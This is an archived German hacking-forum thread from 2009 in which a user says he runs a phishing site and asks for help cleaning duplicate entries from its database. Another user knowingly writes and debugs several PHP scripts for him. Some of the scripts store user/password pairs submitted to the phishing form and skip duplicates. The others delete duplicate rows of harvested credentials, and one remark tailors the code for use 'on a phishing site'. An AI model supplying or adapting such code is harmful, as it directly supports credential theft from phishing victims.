PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : DB von doppelten oder mehrfachen einträgen bereinigen



113puma
04.08.2009, 23:50
tach
ich hatte mal eine phishing seite eröffnet nur ich hatte leider nicht von anfang an ein script drin das doppelte einträge verhindert.
weis jemand wie ich die db bereinigen könnte so das dort keine duplikate auftauchen?


MFG 113puma

VeN0m
05.08.2009, 00:34
Hier mal ein Beispielscript, was ich mal eben gezimmert habe, weiß nur nicht, obs funktioniert. Keine Zeit zum testen ;). Prinzip sollte aber wohl klar sein.



<?php

$host = "127.0.0.1:3306";
$user = "root";
$pw = "phpmyadmin";
$db = "phishing";

$con = @mysql_connect($host,$user,$pw);
@mysql_select_db($db);

$user = htmlentities($_POST['user']); //Mit Deinen POST-Daten austauschen!
$pw = htmlentities($_POST['pw']); //Dito

if(!$con) {

die("Connectien denied for user ".$user." at ".$host."!");

} else {

$query = "SELECT * FROM `phishing`.`beispielseite` WHERE `beispielseite`.`user` LIKE '".$user."' AND `beispielseite`.`password` LIKE '".$user."'";
$res = @mysql_query($query);

if(mysql_num_rows($res) == "0") {

//Eintrag ist noch _nicht_ in der Datenbank

$query = "INSERT INTO `phising`.`beispielseite` (user,password) VALUES ('".$user."','".$password."');";
$ret = @mysql_query($query);

if($ret) {

print "Eingetragen!";

} else {

print "Fehler";

}

} else {

//Eintrag existiert schon

exit;

}

}

?>


Musst Du vllt. noch etwas umstellen, have Fun.

113puma
05.08.2009, 01:52
wenn cih es ausführe kommt:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/export/www/vhosts/funnetwork/hosting/114puma/sauber.php on line 23
Fehler das script sieht jetzt so aus:

<?php

$host = "localhost";
$user = "114puma";
$pw = "....";
$db = "114puma";

$con = @mysql_connect($host,$user,$pw);
@mysql_select_db($db);

$user = htmlentities($_POST['user']); //Mit Deinen POST-Daten austauschen!
$pw = htmlentities($_POST['pwd']); //Dito

if(!$con) {

die("Connectien denied for user ".$user." at ".$host."!");

} else {

$query = "SELECT * FROM `114puma`.`base` WHERE `base`.`user` LIKE '".$user."' AND `beispielseite`.`password` LIKE '".$user."'";
$res = @mysql_query($query);

if(mysql_num_rows($res) == "0") {

//Eintrag ist noch _nicht_ in der Datenbank

$query = "INSERT INTO `114puma`.`base` (user,password) VALUES ('".$user."','".$password."');";
$ret = @mysql_query($query);

if($ret) {

print "Eingetragen!";

} else {

print "Fehler";

}

} else {

//Eintrag existiert schon

exit;

}

}

?>


kann es sein das ich irgendwo was falsches geändert habe?

VeN0m
05.08.2009, 01:58
Denkfehler... Naja, weiß gerade nicht, woran es liegt.
Dann so:



<?php

$host = "localhost";
$user = "114puma";
$pw = "....";
$db = "114puma";

$con = @mysql_connect($host,$user,$pw);
@mysql_select_db($db);

$user = mysql_real_escape_string(htmlentities($_POST['user'])); //Mit Deinen POST-Daten austauschen!
$pw = mysql_real_escape_string(htmlentities($_POST['pwd'])); //Dito

if(!$con) {

die("Connectien denied for user ".$user." at ".$host."!");

} else {

$query = "SELECT count(*) FROM `114puma`.`base` WHERE `base`.`user` LIKE '".$user."' AND `beispielseite`.`password` LIKE '".$user."'";
$res = mysql_query($query);
$row = mysql_fetch_row($res);

if($row[0] == "0") {

//Eintrag ist noch _nicht_ in der Datenbank

$query = "INSERT INTO `114puma`.`base` (user,password) VALUES ('".$user."','".$password."');";
$ret = @mysql_query($query);

if($ret) {

print "Eingetragen!";

} else {

print "Fehler";

}

} else {

//Eintrag existiert schon

exit;

}

}

?>


Habe noch mysql_real_escape_string() hinzugefügt, vergaß ich vorhin. Ist für den Fehler aber irrelevant.

113puma
05.08.2009, 02:06
jez kommt :
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /usr/export/www/vhosts/funnetwork/hosting/114puma/sauber.php on line 24

VeN0m
05.08.2009, 02:26
Gib mir mal eben zehn Minuten - Ich teste das... ;) Ich editiere dann.

EDIT:



<?php

$host = "localhost";
$user = "root";
$pw = "";
$db = "";

$con = @mysql_connect($host,$user,$pw);
@mysql_select_db($db);

$user = mysql_real_escape_string(htmlentities($_POST['user'])); //Mit Deinen POST-Daten austauschen!
$pw = mysql_real_escape_string(htmlentities($_POST['pwd'])); //Dito

if(!$con) {

die("Connectien denied for user ".$user." at ".$host."!");

} else {

$query = "SELECT * FROM `bla`.`beispielseite` WHERE `beispielseite`.`user` LIKE '".$user."' AND `beispielseite`.`password` LIKE '".$password."'";
$res = mysql_query($query);
$row = mysql_fetch_row($res);

if(mysql_num_rows($res) == "0") {

//Eintrag ist noch _nicht_ in der Datenbank

$query = "INSERT INTO `bla`.`beispielseite` (user,password) VALUES ('".$user."','".$password."');";
$ret = @mysql_query($query);

if($ret) {

print "Eingetragen!";

} else {

print "Fehler";

}

} else {

//Eintrag existiert schon

die("Eintrag existiert schon!");

}

}

?>


Kann man mit den ganzen die()'s aber so natürlich bei einer Phishingseite nicht verwenden! ^^
Ich denke der Fehler lag daran, dass a) ich beim password $user übergeben habe (bei der Abfrage) und b) Du mein zweites "beispielseite" nicht gegen Deine Tabelle ersetzt hast ;).

Musst wieder Deine Daten eintragen (steht jetzt auf Beispiel wieder ^^), vergiss aber das Passwortfeld nicht. Ich hätte das für Dich schon gemacht, wenn ich wüsste, wie dieses bei Dir heißt ;).

113puma
05.08.2009, 02:29
kk

VeN0m
05.08.2009, 02:40
Ich schreibe immer im Format `datenbank`.`tabelle` und `tabelle`.`column`. Ein Column ist sowas wie "password" oder "user", "pwd" etc.
Und ja, in Deinem Fall wäre pwd richtig. Ich wollte aber a) keine neue Tabelle bei mir auf dem localhost erstellen und b) nicht von meiner Gewohnheit "password" zu verwenden abweichen ;). Passe das Script einfach so an, dass es passt. Bei mir geht es perfekt - Probiere also so lange, bis die Daten stimmen ;).

EDIT: Habe noch was geändert, siehe oben.

113puma
05.08.2009, 02:51
oh
ich glaub du hast was falsch verstanden das script das die doppelten accs verhinderht habe ich schon
ich bräuchte eins das die doppelten accs entfernt
sory das mir das ers so spät aufgefallen ist ich bin ein idiot

VeN0m
05.08.2009, 03:14
Nicht schlimm...



<?php

$host = "localhost";
$user = "root";
$pw = "password";
$db = "datenbank";

$con = @mysql_connect($host,$user,$pw);
@mysql_select_db($db);

if(!$con) {

die("Connectien denied for user ".$user." at ".$host."!");

} else {

$query = "SELECT * FROM `datenbank`.`tabelle`";
$res = mysql_query($query);
$all = array();

while($row = mysql_fetch_row($res)) {

if(in_array($row[1],$all)) {

$query = "DELETE FROM `datenbank`.`tabelle` WHERE `tabelle`.`id` = '".$row[0]."'";
mysql_query($query);
continue;

}

$all[$row[0]] = $row[1];

}

print_r($all);


}

?>


*GÄHN*

113puma
05.08.2009, 03:39
jez wäre es perfekt wenn er nicht alles löscht was doppelt ist sondern noch einen eintrag davon behält

VeN0m
05.08.2009, 11:13
Tut es - Bei mir jedenfalls:




while($row = mysql_fetch_row($res)) {

if(in_array($row[1],$all)) {

$query = "DELETE FROM `datenbank`.`tabelle` WHERE `tabelle`.`id` = '".$row[0]."'";
mysql_query($query);
continue;

}

$all[$row[0]] = $row[1];

}


Die Schleife müsste man in der Form kennen. Sie wertet den Query aus. So jetzt haben wir eine if-Abfrage, die prüft, ob in dem Array $all bereits dieser User drin vorkommt (ich habe es jetzt nur mit dem User gemacht gehabt), wenn nicht wird er eingetragen. Wenn er doch schon vorkommt wird die entsprechende ID des nächsten Eintrages, der dann ja doppelt ist nicht eingetragen in das Array sondern aus der Datenbank gelöscht und zum nächsten Eintrag gesprungen. Einer bleibt also immer vorhanden.

Falls Du das Passwort auch in die Suche integrieren möchtest:



<?php

$host = "localhost";
$user = "root";
$pw = "";
$db = "security";

$con = @mysql_connect($host,$user,$pw);
@mysql_select_db($db);

if(!$con) {

die("Connectien denied for user ".$user." at ".$host."!");

} else {

$query = "SELECT * FROM `security`.`into_dumpfile`";
$res = mysql_query($query);
$all = array();

while($row = mysql_fetch_row($res)) {

if(in_array($row[1].$row[2],$all)) {

$query = "DELETE FROM `security`.`into_dumpfile` WHERE `into_dumpfile`.`id` = '".$row[0]."' LIMIT 1";
mysql_query($query);
continue;

}

$all[$row[0]] = $row[1].$row[2];

}

}

?>


Wäre vielleicht sinnvoller, da die Leute auch mal Falscheingaben machen ^^.
Im übrigen gehe ich von so einer Tabelle aus (in etwa):
id | user | password
oder
id | user | pwd
Wie sie eben bei Dir heißen.
Das wären dann von links durchnummeriert: $row[0], $row[1] und $row[2]. Müsstest Du auch dementsprechend anpassen.
Das Script von oben läuft bei mir perfekt, Einträge, bei denen User und Passwort gleich waren wurden entfernt - Einer wurde belassen.

113puma
05.08.2009, 19:09
ich hab nur user und pwd

Das Script von oben läuft bei mir perfekt, Einträge, bei denen User und Passwort gleich waren wurden entfernt - Einer wurde belassen.bei mir wird alles gelöscht bis auf das das was nur einmal da war

//edit jez gehts hab da das LIMIT 1 hinter gesetzt

VeN0m
06.08.2009, 16:08
//edit jez gehts hab da das LIMIT 1 hinter gesetzt


Ja, ich vergaß - Sollte immer bei Updates, Deletes etc. hinzu, damit nichts falsches passiert. Hatte ich schon hinzueditiert.
Ist mit dem vergessen von $i++ mein häufigster Fehler :>.
Naja, Hauptsache es geht nun :D.